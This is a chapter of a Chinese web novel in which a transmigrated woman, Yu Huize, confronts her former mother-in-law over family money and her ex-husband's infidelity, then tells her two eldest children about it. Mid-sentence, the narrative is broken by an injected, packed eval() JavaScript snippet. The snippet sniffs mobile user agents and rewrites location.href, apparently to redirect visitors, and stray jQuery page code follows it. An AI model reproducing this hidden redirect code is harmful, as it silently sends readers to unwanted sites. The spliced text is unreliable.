“什么?一两条小黄鱼都不够,于慧泽你也太贪了。”
“没有你们母子贪,非得我把话说得很难听吗?”
于慧泽把打开的门又闭上,决定把话说得更明白一些,让这老太太知道自己不是以前的于慧泽了,别再用以前糊弄人的那一套糊弄自己。
“从结婚的时候,你们母子心里其实就是瞧不上我的吧。你们心里还想,我这样说白了就是个孤女,说是在保育院长大,其实就是在孤儿院长大,怎么配得上你们大户人家还留过洋见过世面的儿子呢?奈何时代变了,不是我配不上你儿子,而是你儿子配不上我。于是没有法子,你们只能紧紧抓着我,让我和你儿子结婚。”
说着于慧泽嗤笑一声:“结婚以后,过了几年安稳日子,孩子也生了四个,其中三个还是儿子。对你们夏家来说,也算是多子多福,传宗接代的重任也完成了。生完老四之后的三年,我和你儿子再没同过房。
但当时我忙着照顾四个孩子,没多想。之后,你儿子突然不对劲儿了,又突然好像转性了,对我变好了,我们又有了老五。后面才知道,他对我好不是转性了,是因为他仗着自己老师的身份,去引诱刚考上大学的女学生。
他心里有鬼,怕我发现蛛丝马迹,便想法子让我有了老五。我怀孕了,自然没有没有精力去抓他的猫腻了。”
于慧泽说得这些都是自己的猜测,原主从没这么想过自己的丈夫,但是于慧泽从第三方客观的角度看,事情估计真是这么一回事。
于慧泽继续说:“老五出生后,我的时间精力自然都更多的放在了养育孩子上。谁想,六六年的时候,形势有了变化,像夏彦卿这种地主家庭出生,还出国留过学的,自然是要更小心谨慎。
于是,他又糊弄着我有了老六,表现出一副他和革命烈士家庭出身的妻子感情很好的样子。将我父母留给我的荫蔽挪到自己身上,话里话外都是当年我岳父岳母怎么怎么。”
说着于慧泽都觉得原主实在糊涂,怎么连这么明显的事情都看不清呢。曹老太太很精明,平时对着原主都演的很好,但是夏彦卿可不是。
而且夏彦卿是和原主时时刻刻生活在一起的人,他就是演戏,也演不了多久。
其实在结婚后没多久,夏彦卿就原形毕露了。他对原主时不时会展现出一种不耐烦,觉得原主只是初中文凭,实在没有文化,他和原主没有共同语言。
奈何原主觉得丈夫是读书人,有些文人气很正常。于慧泽真的想摇着原主的肩膀,和她说,姐妹啊,文人气不是人渣气啊。
其实说到这里,已经很让人生气了,但是接下来还有更让人生气的事情。
“□□年,夏彦卿出轨女学生,又是给人家拿英文写情诗,又是拿工资贴补学生。等六八年的时候,那个女学生直接举报了他。他还骗我说是那个女学生栽赃陷害他,他只是见那个女学生聪明伶俐,但家庭条件实在不好,想帮帮她。”
于慧泽摇摇头:“若是他真这么好心,怎么学校里那么多家境贫寒的学生不去资助,只资助这个漂亮的女学生?最可恶的是,之后他还帮着所谓的朋友打探学校的一些信息,而他的朋友是间谍。
他这件事已经定性了,等他的处理结果下来之后,我和他说,我们离婚吧。不是我不愿意陪他吃苦,而是家里这么多孩子,不能让孩子也跟着他吃苦吧。当时他一副我背叛他的模样,您这边不也是支持我的决定的吗?
我们都知道所谓的离婚,所谓的划清界限其实只是保全孩子的一个行为罢了。”
“当时彦卿是有些伤心,有些生气,可很快你们不是和好了吗?”
说起这个,于慧泽更觉讽刺了:“和好,不,我当我以为是和好,在领了离婚证之后,我发现自己怀孕了,那个时候孩子还小,其实是可以打掉的。正是因为我觉得我和夏彦卿虽离婚了,但是我们还是夫妻,所以我毫不犹豫的生下了这个孩子。”
于慧泽看着老太太:“您经历的事情多,您一定知道,若是一对夫妻离婚的时候没有撕破脸皮大吵一架,相反这个女的还一定要生下和前夫的孩子,那意味着什么吗?
意味着她和前夫旧情未了。意味着在孩子出生前,她大着肚子,没有人会想不开给她介绍对象,等孩子出生了,孩子那么小,也不好介绍她再婚。如今思正都四岁了,我们单位同事才试探着问我要不要再找一个。”
很多事情,抛去细节只看枝干,反而看得更清楚。
于慧泽打开门:“我话就说到这儿了,您呀好好考虑考虑。好好想想自己的养老,你是得指望你儿子,还是得指望你孙子。想想你如果没了,是否有颜面见夏家的列祖列宗。别明明有着四个孙子,但最后孩子都跟了别人姓,夏家绝后了。”
于慧泽补充一句:“我要的是全部,记住哦,是全部。”
说完,她扭头就走。
一路上,于慧泽还复盘了复盘,觉得自己发挥的不错。
对待曹老太太这样的封建余孽,就得回报以同样的封建余孽。
至于孩子改姓的事情,只要拿到了钱,完全可以改。等之后老太太没了,孩子再改回来不就好了,这又不是什么难事。
钱是最重要的,把钱弄到手,等改开以后,给几个孩子一分,可比留给夏彦卿好。
不然过几年,夏彦卿回来了,手里有钱,随便漏一点,抵得上孩子们一年工资,那孩子们即便心里再恨这个父亲,也可能还是会为了钱,明面上原谅这个父亲。
除非孩子们自己有出息,不必为了钱折腰。
这也不是于慧泽小人之心,而是人之常情。
于慧泽的发小小时候父亲长期出轨,后来更是要闹离婚,娶一个同样出轨的女的。
在离婚前,于慧泽发小母亲确诊乳腺癌晚期,他母亲这病,可以说是被他父亲生生给气出来的。
当时于慧泽发小恨死父亲了,在他母亲去世后,他甚至要拿着菜刀和他父亲同归于尽。
谁想,等他工作了,该结婚了,该买房了,还是得和父亲低头。因为他父亲给他的一套房子,按他当时的工资,他得工作两百年才买得起。
那个时候她发小每
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501296|202749||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
天都哭着给于慧泽打电话,说自己对不起母亲,说自己没本事,说自己是个软骨头,说自己是个废物。
之后,于慧泽发小确诊了抑郁症,可即便如此,他也无法放弃那套他一辈子都买不起的房。
若是于慧泽面对那种情境,定然不会接受那份让人如鲠在喉的馈赠。
但是她也理解发小的做法。发小有妻有子,那套房子配套的学区房,能让他的女儿从小接受全市最好的教育。
于慧泽不想这些孩子们将来也面临这样的选择,面临这样的痛苦。
大家都是平凡人,没必要去挑战人性,人性也从来都经不起挑战的。
晚上,于慧泽回了家,将两个大一些的孩子叫跟前,准备和他们说了这事儿。
为了避免小的偷听,于慧泽拿出家里旧粮票,让老三带着剩下的弟弟妹妹们去买点粮回来,还给了他们一张工业券,说:“再买点糖吃,这工业券本想攒着,给你们爸买双胶鞋给他寄过去。现在也用不着了,不如买了糖,咱们自己吃着甜嘴。”
于思宁看看大哥大姐,不知道该不该接这个钱。
小一些的于思成于思齐于思正根本感受不到家里的情绪,只有去买糖的激动。
于思文和于思明有些犹豫,觉得家里不富裕,不该为了置气就乱花钱。但是说了的话,又怕妈觉得他们是惦记着爸,想把这钱和工业券省下来给爸用呢。
于慧泽不知道他们的想法,摆摆手说:“去吧去吧,再晚点儿供销社就关门了。还有,糖买好别路上吃,回来分好了再吃。也别到处显摆,知道不?”
几个孩子点点头,一窝蜂的跑出去了。
于慧泽看着觉得头都大了。
家里只剩她和两个大的,她便大概把今天去他们奶奶那里的事情说了一下。
“以前吧,我和你爸虽然离婚了,但我一直想着咱们还是一家人。家里的东西,最后不还是你们的,所以也没提过。可现在你爸再婚了,若是咱们不去要,最后不知道会好活了谁呢。”
自己去找老太太要钱这事儿不能瞒着,若是瞒着,孩子奶奶再一挑拨,很容易伤了感情。
毕竟这老太太一看段位就不低,精明得很。
而且于慧泽要这份钱也不是为了自己,她当然会留下原主该有的一部分,她也不用,这部分等将来老了之后,再给几个孩子继承。剩下就是给几个孩子现在用。
尤其是老大,一高三毕业就要下乡插队,这是原主之前心里最最操心的问题。
但是知识青年上山下乡这是国家政策,家里哪个孩子适龄,就让哪个去。大闺女正赶上了,也是没有办法的事情。
若是不想让大闺女去,就得她一毕业便立刻有单位接受。另外,大闺女不去,那去的就是大儿子了。
于慧泽决定接下来主要就是解决这件事情。
她去要钱,除了家里最近急需钱,另外,于慧泽也是想出出气,让曹婉容脱层皮。让她难受难受,让夏彦卿也难受难受。
他们辜负了原主的一片真心,再怎么难受都不为过。